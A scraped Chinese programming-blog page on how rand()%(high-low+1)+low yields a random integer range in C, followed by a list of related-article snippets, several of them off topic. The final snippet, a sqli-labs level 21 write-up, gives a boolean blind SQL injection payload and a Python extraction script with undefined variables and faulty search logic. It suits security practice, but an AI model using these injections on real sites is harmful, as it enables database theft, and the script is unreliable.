详细解析rand()%(high-low+1)+low

最新推荐文章于 2024-06-12 16:43:22 发布
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分类专栏： c++ 文章标签： C++
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Fama-French三因子模型详解：量化价值投资的基石
AI天才研究院
04-29 845
资本资产定价模型（CAPM）自1960年代提出后，成为资产定价理论的核心框架，但其假设的市场有效性和单一风险因子（β）在现实市场中面临诸多挑战。1992年，Eugene Fama和Kenneth French通过对美股市场的实证研究，发现规模效应（小市值股票长期超额收益）和价值效应（高账面市值比股票超额收益），并于1993年提出三因子模型，将资产收益分解为市场风险、规模风险和价值风险的共同作用。
基于Transformer和U-Net的图像分割模型——TransUNet的实现与原理解析【代码+示例数据训练】
源代码杀手的博客
01-12 830
实现了一个基于Transformer和U-Net结构的图像分割模型——。其核心思路是将U-Net中的卷积结构与Transformer的自注意力机制相结合，从而提升图像分割任务的性能。
rand()的用法
KS的OI笔记本
12-04 887
关于随机数的产生，有以下说明。 (1) 需要#include (2) 需要向随机数函数指定生成随机数的seed，一般采用时间作为seed #include ... srand(time(NULL));或srand(time(0)) (3) 可以通过如下方式指定随机数的产生范围 1. 产生[a, b)的随机整数 (rand() % (b - a)) + a2. 产生[
产生low--high之间的随机数。
u014683488的专栏
03-04 667
产生low--high之间的随机数。 low+rand()%((high-low)+1)) 产生0-10之间的随机数。示例代码： #include #include #include #include void main(){ //float f1=0.1876; srand((unsigned)time(NULL)); float f1=rand()%11; c
C 学习笔记 —— 随机数函数rand()
Charles Ren's Tech Blog
01-29 1635
实际上，rand() 函数产生的随机数是伪随机数，是根据一个数值按照某个公式推算出来的，这个数值我们称之为“种子”。从上面代码很容易看出，实际上这个随机种子是一个静态变量，默认是1，但是他在调用rand的时候是会被修改的。这个实例出现一个奇怪的现象，因为默认srand设置种子为1，那么我调用一次srand后面多次调用rand是否会生效呢。这样才是想要的结果。因为我们的种子每次如果是固定值，那么我们最终生成的随机数每次启动程序还是相同的。rand产生一个0-0x7fff的随机数，即最大是32767的一个数。
rand()函数的用法
热门推荐
qq_42226250的博客
03-17 10万+
转载：https://www.cnblogs.com/yuehouse/p/10116691.html 1、rand()不需要参数，它会返回一个从0到最大随机数的任意整数，最大随机数的大小通常是固定的一个大整数。 2、如果你要产生0~99这100个整数中的一个随机整数，可以表达为：int num = rand() % 100; 这样，num的值就是一个0~99中的一个随机数了。 3、如果要产生1~100，则是这样：int num = rand() % 100 + 1; 4、总结来说，可以表示为：int nu
rand()函数的使用
Mr.林先生的博客
08-22 2517
1，c中rand（）函数不需要参数，主要表达式为rand（）%num 表示为 在 0~（num-1）之间产生一个随机数 例如 a=rand（）%100 表示 a取值范围为 0~99 2，rand()函数需要的头文件是：...
【C语言】rand()%随机数的使用
Thenunaoer的博客
06-12 816
原因是rand() 随机产生的任何数，只要等于或者超过4，都会被 %4 取余掉。所以rand() % 4的值不可能等于或者超过4，它的取余的值只能是 0到3。如果rand() % 4 则产生 0 - 3 的随机数，rand()函数会产生范围为0至32767的随机数，
数据处理：pandas中时间序列、数据可视化
condi1997的博客
03-18 1545
今日学习 第一部分：pandas时间序列 一.python中的时间日期 datetime模块和timedelta模块 1.datetime(2016, 3, 20, 8, 30).strftime('%Y-%m-%d %H:%M:%S')----strftime从time格式转化成字符串str格式，strftime()括号内为具体的字符串形式。 等价于datetime.strftime(datet...
HIGH-SPEED CHARTING CONTROL--MFC绘制图表（折线图、饼图、柱形图）控件
chuluo3352的博客
05-09 1525
原文地址：https://www.codeproject.com/articles/14075/high-speed-charting-control 本文翻译在CodeProject上的介绍（主要还是谷歌翻译，看不太明白的地方，请对比原文，敬请原谅），方便自己和后面人的学习（花费了两天时间...
Dockerfile + docker-compse 搭建 nginx+php+redis环境
iflycc的博客
08-13 1857
前序说明 对 docker 的基本用法有一定的了解，理解docker中的“容器、镜像、Dockerfile”之间的关系 1.分别从官方镜像仓库拉取 php、nginx、redis 的镜像 默认都是使用的最新版本，如果要使用特别版本，请自行搜索相应的版本再执行pull操作。 [root@master ~]# docker pull redis:6.0.6 ... [root@master ~]# docker pull nginx:1.19.1 ... [root@master ~]# docker pull
rand-terrorism-dataset.txt
06-01
nlp常用工具包实战（4）spacy工具包，第五点，即第二个案例分析所用资源 111111111 vhbjnkl,/,nbvcx
超像素分割matlab代码-dataset-CFPD-windows:CFPD|WindowsOS的丰富多彩的时尚解析数据
05-28
超预期分割matlab代码免责声明 这是来自的修改后的存储库。 请参阅原始存储库以获取更多详细信息。 CFPD | 多彩时尚解析数据 本文使用了该数据集， 细节 2,682张图片 600 x 400（高度，宽度） 像素级注释（分段图） 23个类别 13种颜色 make_label.py从fashon_parsing_data.mat进行以下fashon_parsing_data.mat 。 label/bbox.json ：边界框（用于对象检测而不是语义分段）。 label/categories.tsv category_id category label/main_categories.tsv选自categories.tsv用于物体检测。 设置数据集 1. install the requirements pip install -r requirements.txt 2. download zip file (name) from author's GoogleDrive download.sh 3. rename "data" file manually to "data.zip
疲劳驾驶数据集-dataset.rar
03-21
疲劳驾驶数据集，标签格式为xml和txt两种格式， 类别为：closed_eye、closed_mouth、open_eye、open_mouth
H2V-142K Dataset-数据集
03-08
H2V-142K dataset is provided by Youku, Alibaba and is constructed and released by Alibaba Cloud Technology Department of Alibaba.本数据集由阿里巴巴优酷提供，由阿里云技术部整理发布。 dataset_overview.png sub_num.png dataset license.pdf
rand()与rand()%100+1的函数释义
m0_z的博客
06-05 1万+
我们使用rand函数可以得到一个0~32767的随机数，如： int i; i=rand(); 而我们想要一个1~100之间的随机数需要这样： int i; i=rand()%100+1; 注意：rand()%100+1并不要理解为死板的公式，其中rand()还是输出0~32767，只是了运用求余算符，除以100的余数在0至99，再加1就使数值在1至100。 ...
c语言中rand()%900,c语言 n=rand()%5是什么意思
weixin_39603613的博客
05-19 861
rand()函数会产生范围为0至32767的随机数，% 让它与5求余，变成0至4的随机数，不过每次启动程序产生的随机数都相等，在用srand(unsigned int)输入种子数后产生的才不一样，一般都用的 srand((unsigned int)time(NULL)) 产生种子。(记得要包含time.h库文件)扩展资料：当提供的种子相同时，随机数序列也是相同的。而且当种子为1时，与不使用sr...
2021-9-6 记录：用(low+high)＞＞＞1代替 (low+high)/2 或 (low+high)＞＞1 来计算平均值
weixin_44845483的博客
09-06 224
学习链接 用(low+high)>>>1代替 (low+high)/2 或 (low+high)>>1 来计算平均值 与>>是位运算符，只对整型有效（不能用于浮点型）。 当是整型的时候(low+high)>>1可以代替(low+high)/2 是无符号右移运算符。如果 low+high是正整数，这三种运算是等价的。 由于有编译器优化，他们的效率应该是相同的（如果不存在编译器优化，移位运算更快）。 用>>>一般是有特殊的目的
sqli-labs第21关
最新发布
03-14
### sqli-labs 第21关解法分析 在sqli-labs第21关中，目标是在存在SQL注入漏洞的情况下获取数据库中的敏感信息。此关卡主要考察的是基于布尔盲注的技巧[^3]。 对于这道题目而言，重点在于通过观察页面返回的不同状态来推断后台查询语句执行的结果是否满足特定条件。具体来说，在已知部分字符的前提下，可以通过比较ASCII码值的方式逐位猜解出整个字符串的内容。例如： ```sql sort=rand(ascii(substr((select database()),1,1))>96)-- ``` 上述SQL片段用于验证当前数据库名称首字母对应的ASCII数值是否大于给定阈值（此处为96），并利用`rand()`函数使得每次请求都能触发不同的随机排序行为以便区分真假情况下的显示差异。 为了进一步确认这一点，可以尝试调整比较操作符右侧的具体数值直到找到确切匹配为止。比如当设置成等于实际值时会得到预期之外的表现形式；而一旦超过该位置上的真实字节，则又恢复到默认布局模式下。这种特性能够帮助攻击者逐步构建起完整的payload链路从而完成最终的信息抽取任务。 针对此类场景编写自动化工具将是提高效率的有效手段之一。Python作为一种灵活易用的语言非常适合用来处理这类逻辑运算密集型的工作流程。下面给出一段简单的演示代码供参考学习之用： ```python import requests target_url = 'http://example.com/vulnerable_page.php?id=' known_chars = '' for i in range(1, length_of_target_string + 1): # 假设我们知道目标串长度 low, high = 0, 127 while low <= high: mid = (low + high) >> 1 payload = f"-1' OR ASCII(SUBSTRING(({query}),{i},1))>{mid}--+" response = requests.get(target_url + payload) if condition_for_true_response(response.text): known_chars += chr(mid) break test_payload = f"-1' OR ASCII(SUBSTRING(({query}),{i},1))={mid}--+" test_res = requests.get(target_url + test_payload) if condition_for_true_response(test_res.text): known_chars += chr(mid) break elif condition_for_false_response(response.text): high = mid - 1 else: low = mid + 1 print(f"The extracted string is: {known_chars}") ``` 请注意以上仅为概念性的伪代码框架示意，并未考虑诸如网络延迟等因素可能带来的影响以及具体的响应解析细节等问题。实际应用过程中还需要根据具体情况做出适当调整优化。
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